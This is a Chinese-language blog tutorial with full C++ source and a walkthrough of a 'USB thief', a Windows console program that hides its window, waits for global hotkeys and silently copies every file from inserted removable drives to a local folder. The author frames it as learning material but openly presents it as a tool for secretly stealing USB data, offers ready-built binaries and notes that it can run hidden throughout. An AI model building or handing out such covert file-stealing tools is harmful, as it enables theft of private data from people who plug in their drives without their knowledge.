C++实现U盘小偷(超详细版)

前言

对于C/C++学习感兴趣的小伙伴,可以看看这篇文章哦:C/C++教程

本文主要介绍了一个控制台版本的U盘小偷,另一篇文章介绍了实现一个用MFC写的U盘小偷,更加详细!点击这里查看

所谓U盘小偷,顾名思义,就是一种可以在暗中窃取U盘数据的一个程序

但本文志不在此,主要是学习U盘小偷程序中所用到的技术

我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐

所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行

运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境

在这里插入图片描述

此程序主要特色有:

  • 程序可完全隐藏
  • 可通过全局快捷键显示或隐藏程序,启动或退出程序
  • 多线程并发执行,大大提高执行速度

此程序设计到的知识点有:

  • WIndows消息循环
  • C++结合Win API函数编程
  • 多线程编程
  • 防程序多开

一、程序演示

在这里插入图片描述
为了演示看到效果,我显示了窗口,实际上可以一直在隐藏状态下进行复制U盘文件

如果觉得快捷键不符合自己的习惯,可直接在此处更改:
在这里插入图片描述

具体如何更改,请参考RegisterHotKey 函数官方文档

二、项目下载

点击此处下载
在这里插入图片描述
该压缩包解压后如图
一,二项分别为32位和64位的应用,可点击直接运行,点击后是隐藏的,可按alt+z显示,具体快捷键参考上文

三,四项为项目工程,分别为vs2019和vs2022的项目
在这里插入图片描述
选择对应的版本解压,就可以直接点击UDisktThief.sln工程文件,直接用vs打开就可以直接使用

如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可
在这里插入图片描述

三、源代码

#include<Windows.h>
#include<DbgHelp.h>
#include<iostream>
#include<queue>
#include<thread>
#include<mutex>
#include<atomic>
using namespace std;
#pragma comment(lib,"Dbghelp.lib")
//定义存储复制文件与目的地文件结构体
struct DString 
{
	string oldFile;
	string newFile;
	DString(const string& _oldFile, const string& _newFile) {
		oldFile = _oldFile;
		newFile = _newFile;
	}
};
bool isShow=false;
queue<DString> g_qFile; //文件信息队列
mutex g_qMutex; //队列互斥体
mutex g_outMutex; //输出互斥体
int g_numofThread=5; //开启复制文件的线程数
HANDLE* hThread = new HANDLE[g_numofThread];
atomic<int> g_exitThread; //记录退出的线程数量
string g_savePath = "D:\\Thief"; //保存文件的路径
ULONGLONG g_SpendTime;//记录拷贝所总共所用时间

bool g_bExit = false; //决定拷贝文件的线程是否退出
//注册全局热键
bool RegisterGlobalKey();
//删除全局快捷键
void UnRegistreGlobalKey();
//找U盘
vector<string> FindDriver();
//处理消息
bool DealMsg(WPARAM wParam);
//搜索所有文件
void FindAllFile(string savePath, string dir);
//拷贝文件的线程
unsigned _stdcall ThrToCopy(void*);
//搜索文件的线程
unsigned __stdcall ThrToSearch(void* param);

int main() {
	ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口
	//创建内核对象,防止多开
	CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");
	if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
	UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用
	bool ret=RegisterGlobalKey();//注册全局款快捷键
	if (!ret) return -1;
	SetConsoleTitleW(L"UDisktThief"); //设置窗口标题
	MSG msg{};
	while (GetMessage(&msg, NULL, 0, 0)) {	//接受消息
		ret = DealMsg(msg.wParam); //处理消息
		if (!ret) break; //false则退出程序
	}
	UnRegistreGlobalKey(); //注销全局快捷键
}

bool RegisterGlobalKey() {
	bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行
	if (!ret) return ret;
	ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序
	if (!ret) return ret;
	ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //Ctrl+alt 显示与隐藏窗口
	if (!ret) return ret;
	return ret;
}
void UnRegistreGlobalKey() {
	UnregisterHotKey(NULL,'l');
	UnregisterHotKey(NULL,'q');
	UnregisterHotKey(NULL,'s');
}
vector<string> FindDriver() {
	int len = GetLogicalDriveStringsA(0, 0);
	std::string dri;
	dri.resize(len);
	GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());
	vector<string> uDrive;
	for (int i = 0; i < len - 1; i++) {
		if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出
		if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环
		i += 1;
		if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);
	}
	return uDrive;
}
bool DealMsg(WPARAM wParam) {	//处理消息
	switch (wParam)
	{
	case 'l': //开始执行程序
	{
		cout << "开始执行!" << endl;
		vector<string> uDrive = FindDriver(); //找U盘
		if (uDrive.empty()) {
			cout << "没有U盘!" << endl;
			break;
		} //没有则直接退出
		g_SpendTime = GetTickCount64();
		g_bExit = false; //设置线程退出标志为false
		for (int i = 0; i < uDrive.size(); i++) {
			char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
			strcpy_s(buf,4,uDrive[i].data());
			_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
		}
		g_exitThread = 1;
		for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
			hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
		}
	}
		break;
	case 'q': //退出程序
		g_bExit = true;
		Sleep(50);
		cout << "退出程序!" << endl;
		return false;
	case 's': //显示或隐藏界面
		isShow = !isShow;
		ShowWindow(GetConsoleWindow(), isShow);
		break;
	default:
		break;
	}
	return true;
}

unsigned __stdcall ThrToCopy(void*) {
	while (!g_bExit) {
		//从队列中取数据
		g_qMutex.lock();
		if (g_qFile.empty()) {
			g_qMutex.unlock();
			continue;
		}
		DString cf = g_qFile.front();
		g_qFile.pop();
		g_qMutex.unlock();

		g_outMutex.lock();
		cout << "队列剩余任务:" << g_qFile.size() << endl;
		g_outMutex.unlock();

		BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件

		g_outMutex.lock();
		if (ret) cout << cf.oldFile << ":复制完成\t" << endl;
		else cout << cf.oldFile << ":复制失败\t" << endl;
		g_outMutex.unlock();
	}
	g_outMutex.lock();
	cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;
	g_outMutex.unlock();
	return 0;
}
unsigned __stdcall ThrToSearch(void* param) {
	FindAllFile(g_savePath, (char*)param);
	delete param;
	while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠
	g_bExit = true; //退出复制文件的线程
	WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);

	g_SpendTime = GetTickCount64() - g_SpendTime;
	int ms = (int)g_SpendTime % 1000; //毫秒
	g_SpendTime /= 1000;
	int sec = (int)g_SpendTime % 60; //秒
	g_SpendTime /= 60;
	int minutes = (int)g_SpendTime % 60; //分钟
	int hours = (int)g_SpendTime / 60; //小时

	g_outMutex.lock();
	cout << "完成拷贝!搜索线程退出!" << endl;
	printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
	g_outMutex.unlock();
	return 0;
}

void FindAllFile(string savePath, string dir) {
	if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号
	if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号
	MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在
	//遍历文件,添加到队列
	WIN32_FIND_DATAA fileData{};
	HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);
	if (hFile == INVALID_HANDLE_VALUE) return;
	do {
		if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;
		if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归
			FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());
			continue;
		}
		//找到文件,添加到队列
		g_qMutex.lock();
		g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));
		g_qMutex.unlock();
		//输出相应信息
		g_outMutex.lock();
		cout << "当前队列数量:" << g_qFile.size() << endl;
		g_outMutex.unlock();
	} while (FindNextFileA(hFile, &fileData));
	FindClose(hFile);
}

四、代码解析

1.main函数

首先从程序入口,main函数开始讲起

int main() {
	ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口
	//创建内核对象,防止多开
	CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");
	if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
	UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用
	bool ret=RegisterGlobalKey();//注册全局款快捷键
	if (!ret) return -1;
	SetConsoleTitleW(L"UDisktThief"); //设置窗口标题
	MSG msg{};
	while (GetMessage(&msg, NULL, 0, 0)) {	//接受消息
		ret = DealMsg(msg.wParam); //处理消息
		if (!ret) break; //false则退出程序
	}
	UnRegistreGlobalKey(); //注销全局快捷键
}

第一行,使用到了两个Win API:GetConsoleWindow,ShowWindow

GetConsoleWindow() //获取当前控制台窗口的句柄
BOOL ShowWindow(
HWND hWnd, //要操作的窗口句柄
int  nCmdShow //设置窗口显示方式,可以直接填false,为隐藏,true为显示,更多显示方式可点击上方函数颜色字体,跳转到官网查看
);

作用为将当前控制台隐藏

第二、三行,使用到的API函数为:CreateMutex,GetLastError

HANDLE CreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes, //安全属性,一般直接填NULL即可,默认安全
BOOL                  bInitialOwner, //是否拥有该内核,TRUE或FALSE应都可
LPCSTR                lpName     //该内核的名称,我用的是随机生成的GUID码,避免与其它程序相同
);
GetLastError(); //获取错误码

作用:尝试创建一个叫"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887"的内核对象,如果获取的错误码等于ERROR_ALREADY_EXISTS,表示该程序已经运行,直接退出,否则则正常运行

2.RegisterGlobalKey与UnRegistreGlobalKey函数

然后两行为我写的两个函数,分别用于注销全局热键和注册全局热键

bool RegisterGlobalKey() {
	bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行
	if (!ret) return ret;
	ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序
	if (!ret) return ret;
	ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //alt+Z 显示与隐藏窗口
	if (!ret) return ret;
	return ret;
}
void UnRegistreGlobalKey() {
	UnregisterHotKey(NULL,'l');
	UnregisterHotKey(NULL,'q');
	UnregisterHotKey(NULL,'s');
}

这两个函数非常简单,只是调用了两个win API函数:RegisterHotKeyUnregisterHotKey


BOOL RegisterHotKey(
HWND hWnd, //收全局热键消息的窗口,填NULL,表示将消息发送到当前线程
int  id, //标识消息,通过这个可以识别消息,我这里使用的l代表启动(launch)程序,q代表退出(quit),s代表显示或隐藏窗口(show)
UINT fsModifiers,//组合键,就是经常使用的Ctrl,alt等
UINT vk //和组合键配合的键,两者结合成为完成的组合键,我注册了Ctrl,alt+Z,Ctrl+Q三个快捷键
);
BOOL UnregisterHotKey(
HWND hWnd, //要取消热键的窗口
 int  id //信息id,与注册信息id使用的同一个值
);

之所以先调用注销,也是以防万一全局快捷键被其它程序注册,注销后就注册热键,如注册热键失败则直接退出程序.

然后用到了win API函数:SetConsoleTitleW

BOOL WINAPI SetConsoleTitle(
 LPCTSTR lpConsoleTitle //要为当前控制台设置的标题
);

该函数的作用只是修改控制台窗口的标题

然后来到了最关键的一步------消息队列,使用到了Win API函数:GetMessage和一个消息结构体MSG

BOOL GetMessage(
  [out]          LPMSG lpMsg, //存放收到的消息
  [in, optional] HWND  hWnd, //收哪个窗口的消息,填NULL,收本线程的消息
  [in]           UINT  wMsgFilterMin, //要收最低消息id,一般直接填0即可
  [in]           UINT  wMsgFilterMax  //要收最高消息id,一般直接填0即可,收所有消息
);
typedef struct tagMSG {
  HWND   hwnd; //接收消息的窗口句柄
  UINT   message; //消息标识符
  WPARAM wParam; //参数,取决于具体消息类型,此程序消息中,该参数的内容为之前注册的消息id
  LPARAM lParam; ///参数,取决于具体消息类型,此程序消息中,无用
  DWORD  time; //消息被发送的时间
  POINT  pt; //消息发送时,鼠标的坐标
  DWORD  lPrivate; //无说明
} MSG, *PMSG, *NPMSG, *LPMSG;

该函数的作用就是不断收取属于自己的消息,然后将消息交给DealMsg函数处理,如果该函数返回false,则退出消息循环,即退出程序

最后注销之前注册的全局热键,最后退出

3.DealMsg函数

bool g_bExit = false; //决定拷贝文件的线程是否退出
bool isShow = false; //当前窗口是否显示
bool DealMsg(WPARAM wParam) {	//处理消息
	switch (wParam)
	{
	case 'l': //开始执行程序
	{
		cout << "开始执行!" << endl;
		vector<string> uDrive = FindDriver(); //找U盘
		if (uDrive.empty()) {
			cout << "没有U盘!" << endl;
			break;
		} //没有则直接退出
		g_SpendTime = GetTickCount64();
		g_bExit = false; //设置线程退出标志为false
		for (int i = 0; i < uDrive.size(); i++) {
			char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
			strcpy_s(buf,4,uDrive[i].data());
			_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
		}
		g_exitThread = 1;
		for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
			hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
		}
	}
		break;
	case 'q': //退出程序
		g_bExit = true;
		Sleep(50);
		cout << "退出程序!" << endl;
		return false;
	case 's': //显示或隐藏界面
		isShow = !isShow;
		ShowWindow(GetConsoleWindow(), isShow);
		break;
	default:
		break;
	}
	return true;
}

此函数的作用为,根据接收到的消息id,分开处理不同任务

  • id为q的消息,直接返回false,退出程序
  • id为s的消息,表示更改当前窗口显示状态,当前窗口状态我用了一个全局变量isShow表示
  • id为l的消息,表示开始运行程序

在运行程序分支中,首先要查看当前电脑中是否存在U盘,这里用到了我写的一个函数FindDriver

4.FindDriver函数

vector<string> FindDriver() {
	int len = GetLogicalDriveStringsA(0, 0); //获取盘符名总长度
	std::string dri;
	dri.resize(len);
	GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());//获取盘符名
	vector<string> uDrive; //存储U盘名
	for (int i = 0; i < len - 1; i++) {
		if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出
		if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环
		i += 1;
		if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);
	}
	return uDrive;
}

该函数中主要调用了两个Win API函数:GetLogicalDriveStringsA,GetDriveTypeA

DWORD GetLogicalDriveStringsA(
  [in]  DWORD nBufferLength, //缓存区长度
  [out] LPSTR lpBuffer //缓存区
);
//作用:将当前系统所有盘符都返回到缓存区中,每个盘符之间用\0
UINT GetDriveTypeA(
LPCSTR lpRootPathName //盘符名称,获取该盘符的类型,如果是U盘则返回DRIVE_REMOVABLE
);

该函数的原理就是将当前所有电脑盘符得到为一个字符串,再对该字符串进行解析,分别判断盘符的类型,如果是U盘则存储,最后返回获得的U盘名称

紧接着DealMsg函数中下一句为判断返回的U盘名数组是否为空,如果为空则直接退出

如果不为空,则说明存在U盘,紧接着使用了GetTickCount64函数

g_SpendTime = GetTickCount64();

该函数的作用就是获取系统启动到当前所经过的毫秒数,并将结果保存到全局变量g_SpendTime中,方便最后计算拷贝U盘文件所消耗的时间

g_bExit = false; //设置线程退出标志为false

紧接着就是将全局变量g_bExit设置为false,该全局变量的作用是用于通知后面开启的线程何时退出,当该变量为true时,拷贝文件的所有线程都会退出

		for (int i = 0; i < uDrive.size(); i++) {
			char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
			strcpy_s(buf,4,uDrive[i].data());
			_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
		}

然后就是为当前电脑的每个U盘都开启搜索线程,将U盘名拷贝到堆中,然后将指针传递给搜索线程

这里使用的是C语言的线程库#include,用到的就是这个开启线程的函数

_ACRTIMP uintptr_t __cdecl _beginthreadex(
void*                    _Security, //安全属性,一般填NULL
unsigned                 _StackSize, //线程的初始栈大小,填0,默认
_beginthreadex_proc_type _StartAddress, //线程的入口函数
void*                    _ArgList, //为线程传递的参数
unsigned                 _InitFlag, //线程启动标志,填0立即启动
unsigned*                _ThrdAddr //返回线程的ID,填0,不接收即可
);

该函数与Windows API创建线程的函数CreateThread各个参数含义相同,可以参考官方文档

开启搜索线程之后,就是开启拷贝线程了

		g_exitThread = 1;
		for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
			hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
		}

这里将全局变量g_exitThread 设置为1,该全局变量的作用是计数退出的拷贝线程,每退出一个拷贝线程,该数加1,方便最好确认所有线程都正确退出

值得注意的是,该变量为#include库中的原子类型,这是避免多线程情况下,该数被不正常修改
在这里插入图片描述

全局变量g_numofThread为要开启的拷贝线程数量,我设置的5个,当然也可以设置更多,当然也不是说拷贝线程设置的越多便速度越快,主要取决于电脑,具体情况需要自己测试

然后就是通过for循环开启线程,并将开启的线程返回值,也就是线程句柄存储到全局变量hThread数组中,作用是使搜索线程等待这些拷贝线程结束,然后再结束

5.ThrToSearch线程搜索函数

unsigned __stdcall ThrToSearch(void* param) {
	FindAllFile(g_savePath, (char*)param);
	delete param;
	while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠
	g_bExit = true; //退出复制文件的线程
	WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);

	g_SpendTime = GetTickCount64() - g_SpendTime;
	int ms = (int)g_SpendTime % 1000; //毫秒
	g_SpendTime /= 1000;
	int sec = (int)g_SpendTime % 60; //秒
	g_SpendTime /= 60;
	int minutes = (int)g_SpendTime % 60; //分钟
	int hours = (int)g_SpendTime / 60; //小时

	g_outMutex.lock();
	cout << "完成拷贝!搜索线程退出!" << endl;
	printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
	g_outMutex.unlock();
	return 0;
}

搜索线程函数首先调用了FindAllFile函数,该函数为我自己写的,作用是遍历一个U盘中的所有文件,并将要拷贝的文件路径和要拷贝的位置,通过全局结构体队列保存起来

struct DString 
{
	string oldFile;
	string newFile;
	DString(const string& _oldFile, const string& _newFile) {
		oldFile = _oldFile;
		newFile = _newFile;
	}
};
queue<DString> g_qFile; //文件信息队列

当搜索完成后,进入while循环,等待文件信息队列中的信息全部被拷贝完成

while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠

然后就是等待所有拷贝线程结束,方法是设置全局变量g_bExit 为true通知线程,然后再等待所有线程结束

	g_bExit = true; //退出复制文件的线程
	WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);

这里使用到的一个Win API函数WaitForMultipleObjects

DWORD WaitForMultipleObjects(
  [in] DWORD        nCount, //要等待的线程数量
  [in] const HANDLE *lpHandles, //线程句柄数组
  [in] BOOL         bWaitAll, //是否等待所有
  [in] DWORD        dwMilliseconds  //等待时间,INFINITE,也就是-1,为一直等待
);

当然此函数的用法并不局限于线程句柄,其它用法请参考官方文档

然后就简单了,当所有拷贝线程完成工作退出,就是计算一下花费了多少时间并输出

主要需要注意的点是输出的操作

	g_outMutex.lock();
	cout << "完成拷贝!搜索线程退出!" << endl;
	printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
	g_outMutex.unlock();

g_outMutex为全局互斥体变量,lock表示占用输出,当前只能我输出.unlock表示输出完了,让别人输出,目的是防止多线程同时输出,导致输出混乱

6.ThrToCopy线程拷贝函数

接下来就是线程拷贝函数

unsigned __stdcall ThrToCopy(void*) {
	while (!g_bExit) {
		//从队列中取数据
		g_qMutex.lock();
		if (g_qFile.empty()) {
			g_qMutex.unlock();
			continue;
		}
		DString cf = g_qFile.front();
		g_qFile.pop();
		g_qMutex.unlock();

		g_outMutex.lock();
		cout << "队列剩余任务:" << g_qFile.size() << endl;
		g_outMutex.unlock();

		BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件

		g_outMutex.lock();
		if (ret) cout << cf.oldFile << ":复制完成\t" << endl;
		else cout << cf.oldFile << ":复制失败\t" << endl;
		g_outMutex.unlock();
	}
	g_outMutex.lock();
	cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;
	g_outMutex.unlock();
	return 0;
}

该函数的作用就是从文件信息队列中取文件信息,并进行拷贝

可以看到,主要就是一个while循环,以全局变量g_bExit为条件,如果为false,就会一直循环,当为true则退出循环

这里从队列中取文件信息也用到了互斥体,目的也是防止多个线程同时在一个队列中取数据,出现意想不到的错误

取出文件信息后,用到了win API函数CopyFileA

BOOL CopyFileA(
  [in] LPCSTR lpExistingFileName, //要复制的文件
  [in] LPCSTR lpNewFileName, //复制的目的地,新文件
  [in] BOOL   bFailIfExists //如果文件存在,true将返回失败,false,将覆盖旧文件
);

该函数的作用就是将U盘中的文件复制到电脑上

最后就是输出一些显示信息

7.FindAllFile函数

该函数作用就是将U盘文件和复制目的地保存到全局队列中

实现逻辑:

  1. 先将传入的路径中,如果末尾存在\字符,去除掉
  2. 确保保存路径存在
  3. 遍历目标文件夹,如果为文件夹,则合成新路径,递归调用该函数
  4. 如果不为文件夹,则添加到全局文件信息队列中
void FindAllFile(string savePath, string dir) {
	if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号
	if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号
	MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在
	//遍历文件,添加到队列
	WIN32_FIND_DATAA fileData{};
	HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);
	if (hFile == INVALID_HANDLE_VALUE) return;
	do {
		if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;
		if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归
			FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());
			continue;
		}
		//找到文件,添加到队列
		g_qMutex.lock();
		g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));
		g_qMutex.unlock();
		//输出相应信息
		g_outMutex.lock();
		cout << "当前队列数量:" << g_qFile.size() << endl;
		g_outMutex.unlock();
	} while (FindNextFileA(hFile, &fileData));
	FindClose(hFile);
}

此函数用到的win API函数有:
MakeSureDirectoryPathExists,FindFirstFileA,FindNextFileA
结构体:WIN32_FIND_DATAA

#include<DbgHelp.h>
#pragma comment(lib,"Dbghelp.lib")
BOOL IMAGEAPI MakeSureDirectoryPathExists(
  [in] PCSTR DirPath //路径
);

作用:如果指定的路径不存在,此函数将自动创建目录,确保该路径存在

HANDLE FindFirstFileA(
  [in]  LPCSTR             lpFileName, //要找的文件名称,遍历文件夹就要使用通配符
  [out] LPWIN32_FIND_DATAA lpFindFileData //保存找到的文件信息
);

该函数用于遍历文件的第一次操作,得到返回句柄,再调用FindNextFileA,这两个函数一般配合使用

BOOL FindNextFileA(
  [in]  HANDLE             hFindFile, //FindFirstFileA函数返回的句柄
  [out] LPWIN32_FIND_DATAA lpFindFileData //保存的文件信息
);

作用:用于遍历FindFirstFileA没有查看到的文件

BOOL FindClose(
  [in, out] HANDLE hFindFile //FindFirstFileA函数返回的句柄
);

作用,关闭文件句柄

typedef struct _WIN32_FIND_DATAW {
  DWORD    dwFileAttributes; //文件具有的属性,如果为目录则有FILE_ATTRIBUTE_DIRECTORY
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD    nFileSizeHigh;
  DWORD    nFileSizeLow;
  DWORD    dwReserved0;
  DWORD    dwReserved1;
  WCHAR    cFileName[MAX_PATH]; //该成员保存了文件名
  WCHAR    cAlternateFileName[14];
  DWORD    dwFileType; // Obsolete. Do not use.
  DWORD    dwCreatorType; // Obsolete. Do not use
  WORD     wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
  • 11
    点赞
  • 61
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 15
    评论
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

余识-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值